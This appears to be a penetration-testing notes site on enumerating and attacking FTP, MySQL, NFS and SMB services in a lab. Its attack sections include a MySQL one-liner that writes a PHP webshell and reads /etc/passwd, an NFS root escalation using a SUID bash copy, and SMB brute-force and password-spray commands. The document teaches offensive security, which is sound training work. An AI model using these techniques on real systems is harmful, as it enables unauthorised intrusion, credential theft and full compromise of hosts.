This section is dedicated to documenting footprinting methodologies and common attack vectors found in common network and web-based services. These services can be external ones with a lot of scrunity applied to them, while others could be meant for internal networks only and thus system administrators would be a bit more careless in their setup and configuration.
This is the multi-page printable view of this section. Click here to print.
Services
1 - FTP
Service Info
- Name: File Transfer Protocol (FTP)
- Purpose: Transferring, sharing files over the network
- Listening port: TCP port 21
- OS: Unix-Like (more commonly), Windows
FTP has two channels of communication:
- Control Connection: used for client to send commands and server to respond with status codes
- Data Connection: used for data transfer between the client and server
Active vs. Passive Connections
FTP has two types of connections, active and passive. The main difference is on who initiates the data connection when a file is being transferred.
- Active: Client initiates control connect from source port
Nto the server port 21. Client starts listening on portN+1and sendsN+1to the server. Server initiates data connection to client on port N+1 and the file transfer begins. - Passive: Client initiates control connect from source port
Nto the server port 21. When passive mode is switched on with thepassivecommand, the server sends a portM. The client initiates data connections to portMon the FTP server.
The main reason for the passive mode FTP is that many clients, often desktops and workstations, have firewalls installed, which could block the server’s data connect to the client during active mode. Firewalls tend to be a lot less restrictive to outgoing connections. Therefore, in passive mode, client initiates the data connection.
Footprinting
Nmap service and default script scan:
sudo nmap -sV -p21 -sC -A <host>
The default NSE scripts ran on the FTP service are:
ftp-anonchecks if FTP server allows for anonymous access. If so, it lists the contents of the FTP root for the anonymous userftpsystexecutes theSTATcommand, which displays information about the FTP server status.
Manual Banner Grabbing
Use Netcat for plaintext TCP connection:
nc -nv <host> 21
Use openssl if TLS is enabled:
openssl s_client -connect <host>:21 -starttls ftp
Anonymous Login
FTP has an option to allow anonymous users to login to the server. To check if an FTP server has that option enabled, use the ftp-anon NSE script mentioned above, or try logging in via the the ftp client.
$ ftp 10.129.14.136
Connected to 10.129.14.136.
220 (vsFTPd 3.0.5)
Name (10.129.14.136:brian): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r-- 1 1002 1002 8138592 Sep 14 16:54 Calender.pptx
drwxrwxr-x 2 1002 1002 4096 Sep 14 16:50 Clients
drwxrwxr-x 2 1002 1002 4096 Sep 14 16:50 Documents
drwxrwxr-x 2 1002 1002 4096 Sep 14 16:50 Employees
-rw-rw-r-- 1 1002 1002 41 Sep 14 16:45 Important Notes.txt
226 Directory send OK.
FTP Client
The FTP client (ftp) can be used to browse the files and directories on the FTP server
ftp <host>
Below are a few FTP basic client commands. Note some of them may or may not be implemented on specific servers
ls <dir>: list directoryls -a <dir>: list directory, including hidden filesls -R <dir>: Recursive list directorycd <dir>: change directoryget <file>: download remote fileput <file>: upload local filehelp: list available commands! <cmd>: execute command locallypassive: Toggle active/passive modebye/quit: disconnect from server and exit the client
Netcat Manual Interaction
Alternatively, we can also manually interact with the service using Netcat. Use the USER <username> and PASS <password> to login.
$ nc localhost 21
220 (vsFTPd 3.0.5)
USER anonymous
331 Please specify the password.
PASS pass
230 Login successful.
After logging in, we can use commands like HELP, FEAT, and STAT to further enumerate the service:
HELP
214-The following commands are recognized.
ABOR ACCT ALLO APPE CDUP CWD DELE EPRT EPSV FEAT HELP LIST MDTM MKD
MODE NLST NOOP OPTS PASS PASV PORT PWD QUIT REIN REST RETR RMD RNFR
RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD
XPWD XRMD
214 Help OK.
FEAT
211-Features:
EPRT
EPSV
MDTM
PASV
REST STREAM
SIZE
TVFS
UTF8
211 End
STAT
211-FTP server status:
Connected to 127.0.0.1
Logged in as ftp
TYPE: ASCII
No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
At session startup, client count was 1
vsFTPd 3.0.5 - secure, fast, stable
211 End of status
Download All Available Files
We can use the following wget command to download all files accessible to us on an FTP share:
wget -m ftp://<username>:<password>@<host>
The --no-passive-ftp option disables passive transfer mode:
wget --no-passive-ftp -m ftp://<username>:<password>@<host>
If the username or password contains special characters, use the --user and --password flags to specify the credential separately
wget -m --user=<username> --password=<password> ftp://<host>
References
Stack Overflow: Downloading all files from an FTP Server Hacktricks: Pentesting FTP
2 - MySQL
Service Info
- Name: MySQL
- Purpose: Database
- Listening port: 3306 TCP
- OS: Unix-Like, Windows
MySQL is an open-source Structured Query Language (SQL) database developed and supported by Oracle. It is part of the LAMP stack (Linux, Apache, MySQL, PHP) for web applications. It is also often used to store sensitive information such as user account credentials and personally identifiable information (PII), although passwords are often hashed instead of stored in plaintext.
The best practice for hosting databases is to only allow local machine or internal network access, but misconfigurations can allow them to be accessed through the internet.
MariaDB is a community-developed, commercially-supported fork of MySQL. It maintains full compatibility with MySQL, and its clients and servers can be used interchanably.
SQL injection is a vast topic in of itself that a dedicated article will be create for. We will not be discussing it in this article.
Service Enumeration
Nmap scan with all MySQL scripts:
╭─brian@rx-93-nu ~
╰─$ sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql*
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-21 00:53 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00021s latency).
PORT STATE SERVICE VERSION
3306/tcp open nagios-nsca Nagios NSCA
| mysql-brute:
| Accounts:
| root:<empty> - Valid credentials
|_ Statistics: Performed 45010 guesses in 5 seconds, average tps: 9002.0
|_mysql-databases: ERROR: Script execution failed (use -d to debug)
|_mysql-dump-hashes: ERROR: Script execution failed (use -d to debug)
| mysql-empty-password:
|_ root account has empty password
| mysql-enum:
| Valid usernames:
| root:<empty> - Valid credentials
| netadmin:<empty> - Valid credentials
| guest:<empty> - Valid credentials
| user:<empty> - Valid credentials
| web:<empty> - Valid credentials
| sysadmin:<empty> - Valid credentials
| administrator:<empty> - Valid credentials
| webadmin:<empty> - Valid credentials
| admin:<empty> - Valid credentials
| test:<empty> - Valid credentials
|_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0
| mysql-info:
| Protocol: 10
| Version: 8.0.26-0ubuntu0.20.04.1
| Thread ID: 13
| Capabilities flags: 65535
| Some Capabilities: SupportsLoadDataLocal, SupportsTransactions, Speaks41ProtocolOld, LongPassword, DontAllowDatabaseTableColumn, Support41Auth, IgnoreSigpipes, SwitchToSSLAfterHandshake, FoundRows, InteractiveClient, Speaks41ProtocolNew, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsCompression, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: YTSgMfqvx\x0F\x7F\x16\&\x1EAeK>0
|_ Auth Plugin Name: caching_sha2_password
|_mysql-users: ERROR: Script execution failed (use -d to debug)
|_mysql-variables: ERROR: Script execution failed (use -d to debug)
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:00:00:00:00:00 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.21 seconds
Database Engine Interaction
We can connect to a SQL database via the mysql utility, which allow us to query the database interactively.
╭─brian@rx-93-nu ~
╰─$ mysql -u root -pP4SSw0rd -h 10.129.14.128
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 150165
Server version: 8.0.27-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
We can use select version() to print out the version of MySQL running on the target.
MySQL [(none)]> select version();
+-------------------------+
| version() |
+-------------------------+
| 8.0.27-0ubuntu0.20.04.1 |
+-------------------------+
1 row in set (0.001 sec)
Default Databases
MySQL usually comes with several database preinstalled by default. Three of them contains information useful to attackers:
- mysql: the main system database, contains database user information such as username, password hashes, and permissions inside the
usertable.- The mysql must have
SELECTprivilege on theusertable in order to read it, which is only granted to high-privileged user likeroot.
- The mysql must have
- System schema (sys): contains tables, information and metadata necessary for management
- Information schema (information_schema): Also contains metadata, mainly retreived from the sys database
Database Enumeration
show databases command will show all databases available on this MySQL server:
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.006 sec)
To see the tables inside a database, we can first select the database and then use show tables.
MySQL [(none)]> use mysql;
MySQL [mysql]> show tables;
+------------------------------------------------------+
| Tables_in_mysql |
+------------------------------------------------------+
| columns_priv |
| component |
| db |
| default_roles |
| engine_cost |
| func |
| general_log |
| global_grants |
| gtid_executed |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| innodb_index_stats |
| innodb_table_stats |
| password_history |
...SNIP...
| user |
+------------------------------------------------------+
37 rows in set (0.002 sec)
If we are interested in the contents of a table, we can dump it using SELECT * FROM <TABLE_NAME>.
SELECT * FROM user
We can also see all columns fro a table with:
show columns FROM user
Then we can specify the column names we are interested in:
SELECT username,password FROM user
MySQL Attacks
Arbitrary File Read/Write
MySQL supports the reading and writing of system files. The writing of system files is particularly useful when a web server that supports a backend scripting language (PHP, ASP.NET, etc.) is running. This combination allows an attacker who has access to the MySQL server to write a webshell into a web directory, which would give him command execution capabilities on the target.
However, two factors are used to control system file access through MySQL:
- Only users with
FILEprivilege is allowed to read and write system files. - The
secure_file_privenvironment variable limits the scope of system file access. It can be set to one of three of the following values:- Empty: no affect, users with
FILEprivilege has the same file access permissions as the account running the MySQL service. - Name of a directory: Server limits reading/writing to that particular directory only.
- NULL: Servers disables all system file access.
- Empty: no affect, users with
We can query the secure_file_priv variable:
mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.005 sec)
To see if our current user has file access privilege, we can query the USER_PRIVILEGES table under information_schema:
mysql> SELECT * FROM information_schema.USER_PRIVILEGES
-> WHERE PRIVILEGE_TYPE = 'FILE';
+---------------------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+---------------------+---------------+----------------+--------------+
| 'root'@'localhost' | def | FILE | YES |
+---------------------+---------------+----------------+--------------+
2 rows in set (0.001 sec)
- If the query returns a row with our current username, we have the privilege.
- If the query returns an empty set, then we lack the privilege.
If we have FILE prvilege and the secure_file_priv environment variable is configured correctly, we can write to a file using SELECT ... INTO OUTFILE.
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
Query OK, 1 row affected (0.001 sec)
To read from a file, we can use the LOAD_FILE command:
mysql> select LOAD_FILE("/etc/passwd");
+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>
3 - NFS
Service Info
- Name: Network File System (NFS)
- Purpose: Network Drive
- Listening port: 111 TCP/UDP, 2049 TCP/UDP
- OS: Unix-Like
Network File System (NFS) is developed by Sun Microsystems in 1984, allowing a user to access files over the network as much like local storage. It builds on the Open Network Computing Remote Procedure Call (ONC-RPC/SUN-RPC) that listens on port 111 of both UDP and TCP.
NFS versions:
- NFSv2: Released in March 1989, Operates entirely via UDP
- NFSv3: Released in Jun 1995, includes features such as variable file sizes and better error reporting. Not fully compatible with NFSv2 clients.
- NFSv4: Released in December 2000, only listen on one TCP or UDP port 2049. It uses Kerberos Includes features such as Kerberos, ACLs, state-based operations, as well as performance and security improvements.
NFSv2 and NFSv3 has no mechanism for authentication, relying on RPC’s options. The most common method is via UNIX UID/GID and group memberships. However, the UID/GID mapping on the client versus the server are not guaranteed to be the same. For example, if user bob has UID 1000 on the client, and user alice has UID 1000 on the server, bob would be able to access files belonging to alice. Therefore, NFSv2 and NFSv3 should only be used in secured local networks.
NFSv4 has rectified this by using kerberos for authentication. In additional, it also supports Access Control Lists (ACLs) and changed from being a stateless protocol in NFSv2 and NFSv3 to being a stateful protocol. NFSv4 marks a major evolution over the NFSv3. It now has a different, more modern security model.
NFS Server Configuration
The /etc/exports file contains a table of filesystem paths accessible by clients. The default contains comments with example configurations.
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
Configuration options:
- rw: Read and write permissions.
- ro: Read only permissions.
- sync: Synchronous data transfer. (A bit slower)
- async: Asynchronous data transfer. (A bit faster)
- secure: Ports above 1024 will not be used.
- insecure: Ports above 1024 will be used.
- no_subtree_check: This option disables the checking of subdirectory trees.
- root_squash: Assigns all permissions to files of root UID/GID 0 to the UID/GID of anonymous, which prevents root from accessing files on an NFS mount.
- nohide (DANGEROUS): Exposes nested mounts, which can unintentionally leak sensitive FS segments.
- no_root_squash (DANGEROUS): All files created by root are kept with the UID/GID 0.
Footprinting
Nmap scan with default scripts runs rpcinfo when rpcbind is found, which retrieves a list of running RPC services, their names and descriptions, as well as the ports they’re using.
$ sudo nmap 10.129.14.128 -p111,2049 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 17:12 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00018s latency).
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 41982/udp6 mountd
| 100005 1,2,3 45837/tcp mountd
| 100005 1,2,3 47217/tcp6 mountd
| 100005 1,2,3 58830/udp mountd
| 100021 1,3,4 39542/udp nlockmgr
| 100021 1,3,4 44629/tcp nlockmgr
| 100021 1,3,4 45273/tcp6 nlockmgr
| 100021 1,3,4 47524/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
MAC Address: 00:00:00:00:00:00 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds
Nmap also includes scripts written to enumerate NFS.
nfs-lslists the contents of the sharenfs-showmountlists available shares and which clients are allowed to connectnfs-statfsshows the stats on each share
$ sudo nmap --script nfs* 10.129.14.128 -sV -p111,2049
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 17:37 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00021s latency).
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| nfs-ls: Volume /mnt/nfs
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxrwxrwx 65534 65534 4096 2021-09-19T15:28:17 .
| ?????????? ? ? ? ? ..
| rw-r--r-- 0 0 1872 2021-09-19T15:27:42 id_rsa
| rw-r--r-- 0 0 348 2021-09-19T15:28:17 id_rsa.pub
| rw-r--r-- 0 0 0 2021-09-19T15:22:30 nfs.share
|_
| nfs-showmount:
|_ /mnt/nfs 10.129.14.0/24
| nfs-statfs:
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|_ /mnt/nfs 30313412.0 8074868.0 20675664.0 29% 16.0T 32000
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 41982/udp6 mountd
| 100005 1,2,3 45837/tcp mountd
| 100005 1,2,3 47217/tcp6 mountd
| 100005 1,2,3 58830/udp mountd
| 100021 1,3,4 39542/udp nlockmgr
| 100021 1,3,4 44629/tcp nlockmgr
| 100021 1,3,4 45273/tcp6 nlockmgr
| 100021 1,3,4 47524/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
MAC Address: 00:00:00:00:00:00 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds
Mounting NFS
We can create a mount on our local filesystem for an NFS share. The protocol abstractions allows us to work on it as if it’s part of our filesystem structure. First, we use showmount to enumerate available mounts on the server.
Note
showmount relies on the mountd RPC call. In modern hardened NFS servers, this is often disabled. If you see nothing returned as a result of the following command, it does not necessarily mean there are no shares available.$ showmount -e 10.129.14.128
Export list for 10.129.14.128:
/mnt/nfs 10.129.14.0/24
Then, we create a directory as the mounting point, and then use it to mount the share.
$ mkdir target-NFS
$ sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock
$ cd target-NFS
$ tree .
.
└── mnt
└── nfs
├── id_rsa
├── id_rsa.pub
└── nfs.share
2 directories, 3 files
When we’re done working with the NFS share, we can unmount it to prevent our filesystem from becoming unresponsive.
sudo umount ./target-NFS
NFS UID/GID Spoofing
NFS servers are configured to trust the uid and gid of its clients (when Kerberos is not used). We can use this behavior to read and write files as any UID, even escalate our existing command execution . However, there are several settings that can change this behavior.
all_squash: Squashes all access mapping every user and group tonobody.$ whoami user $ touch nfs_share/user.txt $ ls -l nfs_share -rw-r--r-- 1 nobody nobody 0 Dec 5 16:46 user.txtroot_squash: Only access with uid 0 (root) is squashed tonobody. This is the default configuration on Linux.$ whoami root $ touch nfs_share/root.txt $ ls -l nfs_share -rw-r--r-- 1 nobody nobody 0 Dec 5 16:46 root.txtno_root_squash: No squashing, all ownership information are preserved, including files owned by root.$ whoami root $ touch nfs_share/root.txt $ ls -l nfs_share -rw-r--r-- 1 root root 0 Dec 5 16:46 root.txt
Note
When an NFSv4 share is configured to use Kerberos, the NFS server no longer trust clients blindly and verifies their identities via Kerberos service tickets. This configuration would completely remediate ID spoofing attacks. However, NFSv4 configured with Kerberos is uncommon due to the complexity of setting up supporting infrastructure for Kerberos and the performance penalty.Privilege Escalation
If no_root_squash is set, we can escalate our existing command execution access to root if we have Read/Write access on the NFS share. This is achieved by creating a copy of Bash inside the NFS share with owner set to root and its SUID bit set since -p option of Bash tells it to execute as the owner of the file if SUID is set.
To conduct this attack, We mount the share as root, then create a root-owned copy of bash inside the share with SUID set. Finally we get a root bash shell when we executed the root SUID copy from the target.
# On attacker machine as root
mkdir /mnt/nfs
mount -t nfs <target>:<share> /mnt/nfs
cp /bin/bash /mnt/nfs/bash
chmod 4755 /mnt/nfs/bash
# On target machine
./bash -p
Note
If the OS of your machine differs from the server’s, there might be a chance the copy of/bin/bash from your machine won’t run on the server due to different library versions. When this occurs, we can instead copy /bin/bash from inside the server to the share directory, then chown it as root from our local machine.Lateral Movement
If no_root_squash is not enabled, we can still move laterally to any non-root user on the system using a method similar to above. The main difference is that we now have to create a user on our local machine with the same UID as the user we want access to on the server.
First we get the UID of the target user on the server.
user@target$ id victim
uid=1111(victim) gid=1111(victim) groups=1111(victim)
Next, we create a user on our local machine with the same UID. The useradd utility has a -u option for us to specify a custom UID. Then we use sudo to run a bash shell as that user on our local machine.
# On Local Machine as a sudo user
sudo useradd -u 1111 victim_local
sudo -u victim_local bash
Now, we should be able to follow the rest of the UID/GID spoofing procedure above.
# On attacker machine as victim_local
mkdir /mnt/nfs
mount -t nfs <target>:<share> /mnt/nfs
cp /bin/bash /mnt/nfs/bash
chmod 4755 /mnt/nfs/bash
# On target machine
./bash -p
References
4 - SMB
Service Info
- Name: Server Message Block (SMB)
- Purpose: Sharing of network resources.
- Listening port: 139 TCP (NetBIOS), 445 TCP
- OS: Windows, Unix-Like (Samba)
Server Message Block (SMB) is a client-server protocol that regulates access to file shares and network resources like printers and routers. It was originally built on Network Basic Input/Output System (NetBIOS), a network API created by IBM that provided computer naming, session, and datagram service. Since Windows 2000, SMB runs directly over TCP and listens on port 445, but NetBIOS over TCP (port 137-139) is kept for backward Compatibility with SMB over NetBIOS.
Samba is an open-source implementation of SMB that runs on Linux systems and is compatible with Windows SMB. Samba also comes with utilities like smbclient and rpcclient that are very useful for interacting with both SMB servers.
Attack Flow
- Identify SMB version & signing
- Enumerate SMB file shares (guest/null & credentialed access)
- Test ability to read and write files within shares
- Enumerate users (RID/RPC)
- Attack:
- EternalBlue if SMBv1 enabled
- SMB relay if signing disabled
- Password Spray if we have valid credentials
Nmap
Nmap Enumeration Scan with smb-protocols and smb2-security-mode scripts:
$ sudo nmap 10.10.0.5 -sV --script=smb-protocols,smb2-security-mode -p445
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-12 20:04 -0600
Nmap scan report for 10.10.0.5
Host is up (0.0018s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
Host script results:
| smb-protocols:
| dialects:
| 2.0.2
| 2.1
| 3.0
| 3.0.2
|_ 3.1.1
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.84 seconds
- The
smb-protocolsscript identifies SMB dialects available. If SMBv1 is available, the host may be vulnerable to EternalBlue. - The
smb2-security-modescript identifies whether SMB signing is required. The signing is not required, the host may be used for SMB Relay Attack
SMB File Share Enumeration
If we have access to a user’s credential, or the guest account is enabled, we can use smbclient to list out the shares available:
$ smbclient -L //10.10.0.5 -U 'amuro.ray' --password='Password1'
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
CertEnroll Disk Active Directory Certificate Services share
IPC$ IPC Remote IPC
Myshare Disk
Alternatively, use netexec, a successor to CrackMapExec.
$ nxc smb 10.10.0.5 -u 'amuro.ray' -p 'Password1' --shares
SMB 10.10.0.5 445 MSN-04-SAZABI [*] Windows Server 2022 Build 20348 x64 (name:MSN-04-SAZABI) (domain:GUNDAM.local) (signing:False) (SMBv1:False)
SMB 10.10.0.5 445 MSN-04-SAZABI [+] GUNDAM.local\amuro.ray:Password1
SMB 10.10.0.5 445 MSN-04-SAZABI [*] Enumerated shares
SMB 10.10.0.5 445 MSN-04-SAZABI Share Permissions Remark
SMB 10.10.0.5 445 MSN-04-SAZABI ----- ----------- ------
SMB 10.10.0.5 445 MSN-04-SAZABI ADMIN$ Remote Admin
SMB 10.10.0.5 445 MSN-04-SAZABI C$ Default share
SMB 10.10.0.5 445 MSN-04-SAZABI CertEnroll READ Active Directory Certificate Services share
SMB 10.10.0.5 445 MSN-04-SAZABI IPC$ READ Remote IPC
SMB 10.10.0.5 445 MSN-04-SAZABI Myshare READ,WRITE
Browsing SMB Shares
We can use smbclient to browse an SMB share.
$ smbclient //10.10.0.5/Myshare -U 'amuro.ray' --password='Password1'
Try "help" to get a list of possible commands.
smb: \>
smbclient provides a command line interface similar to that of the FTP client.
lsto list current directorycdto change directorygetto download fileputto upload file!<cmd>to execute a command on local machine
The help command shows a comprehensive list of commands.
smb: \> help
? allinfo altname archive backup
blocksize cancel case_sensitive cd chmod
chown close del deltree dir
du echo exit get getfacl
geteas hardlink help history iosize
lcd link lock lowercase ls
l mask md mget mkdir
mkfifo more mput newer notify
open posix posix_encrypt posix_open posix_mkdir
posix_rmdir posix_unlink posix_whoami print prompt
put pwd q queue quit
readlink rd recurse reget rename
reput rm rmdir showacls setea
setmode scopy stat symlink tar
tarmode timeout translate unlock volume
vuid wdel logon listconnect showconnect
tcon tdis tid utimes logoff
.. !
Test Write Access
If we connected to an SMB share as guest or via a null session, there is a possibility we can write to the share. Depending its purpose, this may have security implications that are noteworthy. It could enable malicious phishing files from being placed in an office file share, for example.
To rest guest/null write access, we create a test file and use the put command upload it.
smb: \> !touch test.txt
smb: \> put test.txt
putting file test.txt as \test.txt (0.0 kB/s) (average 0.0 kB/s)
smb: \> ls
. D 0 Fri Dec 12 21:16:33 2025
.. DHS 0 Fri Dec 12 11:49:58 2025
test.txt A 0 Fri Dec 12 21:16:33 2025
16588031 blocks of size 4096. 13375101 blocks available
Mounting SMB Share
Alternatively, we can also browse the SMB share by mounting it to our local file system. It requires the cifs-utils package to be installed on your Linux system.
mkdir smb_share
sudo mount -t cifs //10.10.0.5/Myshare smb_share/ -o rw,user=amuro.ray,password=Password1
After mounting the share, we can navigate through it as if it’s part of our local file system. When we’re done working with this share, we can disconnect it from our local file system by unmounting it.
sudo umount smb_share/
If we can no longer connect to the SMB share, use -f option to force unmount.
sudo umount -f smb_share/
SMB Null Session
Older versions of SMB may be configured to allow access to certain network resources when no username or password is provided.
smbclient -N -U "" -L //10.0.0.5
nxc smb 10.10.0.5 -u '' -p ''
SMB User Enumeration
We can enumerate a list of users on an Windows machine or Active Directory Domain.
RID Brute Force
If we can obtain a set of valid credentials, we can use it to conduct an RID Brute Force attack, which enumerates a comprehensive list of users and groups on an AD network by first obtaining the Domain Security Identifier (SID), and appending different Relative Identifiers (RID) to it to find valid users and groups.
We can use the --rid-brute option in netexec:
$ nxc smb 10.10.0.5 -u 'amuro.ray' -p 'Password1' --rid-brute
SMB 10.10.0.5 445 MSN-04-SAZABI [*] Windows Server 2022 Build 20348 x64 (name:MSN-04-SAZABI) (domain:GUNDAM.local) (signing:False) (SMBv1:False)
SMB 10.10.0.5 445 MSN-04-SAZABI [+] GUNDAM.local\amuro.ray:Password1
SMB 10.10.0.5 445 MSN-04-SAZABI 500: MSN-04-SAZABI\Administrator (SidTypeUser)
SMB 10.10.0.5 445 MSN-04-SAZABI 501: MSN-04-SAZABI\Guest (SidTypeUser)
SMB 10.10.0.5 445 MSN-04-SAZABI 503: MSN-04-SAZABI\DefaultAccount (SidTypeUser)
SMB 10.10.0.5 445 MSN-04-SAZABI 504: MSN-04-SAZABI\WDAGUtilityAccount (SidTypeUser)
SMB 10.10.0.5 445 MSN-04-SAZABI 513: MSN-04-SAZABI\None (SidTypeGroup)
SMB 10.10.0.5 445 MSN-04-SAZABI 1000: MSN-04-SAZABI\Char.Aznable (SidTypeAlias)
Alternatively, use lookupsid.py from the Impacket library:
$ lookupsid.py amuro.ray:'Password1'@10.10.0.5
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at 10.10.0.5
[*] StringBinding ncacn_np:10.10.0.5[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2157690859-2819111861-1098670742
500: MSN-04-SAZABI\Administrator (SidTypeUser)
501: MSN-04-SAZABI\Guest (SidTypeUser)
503: MSN-04-SAZABI\DefaultAccount (SidTypeUser)
504: MSN-04-SAZABI\WDAGUtilityAccount (SidTypeUser)
513: MSN-04-SAZABI\None (SidTypeGroup)
1000: MSN-04-SAZABI\Char.Aznable (SidTypeAlias)
SMB Brute Forcing
We can also obtain a valid set of credentials by conducting a brute-force attack
nxc smb 10.10.0.5 -u user.txt -p password.txt
Our brute force attacks can be more productive if we either:
- Have lists of existing credentials we collected from elsewhere
- Or have a list of users and one valid password. This is called a password spraying attack.
To conduct a password spraying attack with netexec, set the -u argument to the filename of the list of users, and -p argument to the plaintext password you would like to spray.
nxc smb 10.10.0.5 -u user.txt -p 'Password1'
RPC Enumeration
We can also use rpcclient, a utility from Samba, to enumerate information about the SMB service. It interacts with MSRPC endpoints such as SAMR, LSARPC, and LSARPC-DS through named pipes. Much like smbclient, rpcclient also presents us with a command line interface once we establish a connection.
$ rpcclient -U 'gundam.local\char.aznable' --password='Password1' 10.10.0.5
rpcclient $>
We can glean quite a bit of information from interacting with various MSRPC endpoints through rpcclient. Here are a few commands that can help us enumerate the SMB Service, the host it’s running on, and even its Active Directory domain if it’s joined to one.
Server Enumeration
srvinfo displays server information. The output below says the host at 10.10.0.5 is:
- A Windows NT-based OS
- Version 10.0 (Windows 10 / 11 / Server 2016+)
- Advertising both workstation and server services
- Identified as a ServerNT system
rpcclient $> srvinfo
10.10.0.5 Wk Sv NT SNT
platform_id : 500
os version : 10.0
server type : 0x9003
enumdomains enumerates the local domain name. On a non-domain controller machine, the machine name will show up as the domain and it does not necessarily mean this machine is not joined to an AD domain.
rpcclient $> enumdomains
name:[MSN-04-SAZABI] idx:[0x0]
name:[Builtin] idx:[0x0]
querydominfo enumerates information of the local domain.
rpcclient $> querydominfo
Domain: MSN-04-SAZABI
Server:
Comment:
Total Users: 3
Total Groups: 1
Total Aliases: 1
Sequence No: 3
Force Logoff: 18446744073709551615
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x0
Share Enumeration
The command netshareenumall enumerates all available SMB shares.
rpcclient $> netshareenumall
netname: ADMIN$
remark: Remote Admin
path: C:\Windows
password: (null)
netname: C$
remark: Default share
path: C:\
password: (null)
netname: CertEnroll
remark: Active Directory Certificate Services share
path: C:\Windows\system32\CertSrv\CertEnroll
password: (null)
netname: IPC$
remark: Remote IPC
path:
password: (null)
netname: Myshare
remark:
path: C:\Myshare
password: (null)
To get info on a particular share, use netsharegetinfo <share>
rpcclient $> netsharegetinfo Myshare
netname: Myshare
remark:
path: C:\Myshare
password: (null)
type: 0x0
perms: 0
max_uses: -1
num_uses: 1
revision: 1
